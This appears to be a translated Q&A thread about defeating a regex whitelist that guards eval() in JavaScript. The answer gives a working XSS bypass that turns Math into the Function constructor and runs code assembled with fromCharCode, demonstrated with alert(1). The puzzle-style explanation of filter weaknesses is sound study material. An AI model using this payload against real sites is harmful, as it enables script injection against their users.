您将如何在此正则表达式过滤器上获得XSS?

问题描述 投票:0回答:1

我是从一个随机的人那里得到的,他告诉我您可以通过“通过”过滤器来运行XSS:

function safeFunc(str) {
   if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
       return null;
     }
   return eval(str);
  }

注意:您需要将字符串用正则表达式过滤器完全“替换”才能到达eval,因此有点儿向后的谜语。我尝试了几个小时,却找不到答案,我使用这个网站:This site帮助使用正则表达式。我需要它来评估和提醒1(或您可以提醒的其他任何内容)谢谢!

javascript regex xss
1个回答
0
投票

一个可能的答案,不适用于设计正确的CSP(使用Function()):

Math=Math.toString(),Math=Math.constructor,Math.code=Math.fromCharCode(97)+Math.fromCharCode(108)+Math.fromCharCode(101)+Math.fromCharCode(114)+Math.fromCharCode(116)+Math.fromCharCode(40)+Math.fromCharCode(49)+Math.fromCharCode(41),Math.constructor(Math.code)()

详细说明:

  1. Math = Math.toString()-随机生成一个String实例;
  2. [Math = Math.constructor-获得String功能,即Math === String;]]
  3. Math.code = Math.fromCharCode(97) + Math.fromCharCode(108) + Math.fromCharCode(101) + Math.fromCharCode(114) + Math.fromCharCode(116) + Math.fromCharCode(40) + Math.fromCharCode(49) + Math.fromCharCode(41)-用'alert(1)'来获取代码字符串(即String.fromCharCode()),您可以将其替换为要注入的代码;
  4. [Math.constructor(Math.code)()-Math.constructorFunction,因此执行Function('alert(1)')()。]]
© www.soinside.com 2019 - 2024. All rights reserved.